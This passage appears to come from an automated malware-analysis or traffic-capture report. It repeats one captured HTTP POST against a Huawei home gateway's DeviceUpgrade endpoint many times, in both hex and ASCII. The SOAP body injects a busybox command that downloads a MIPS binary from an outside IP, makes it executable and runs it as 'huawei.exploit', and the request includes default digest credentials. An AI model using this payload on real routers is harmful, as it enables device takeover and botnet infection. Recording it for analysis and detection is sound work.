63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable 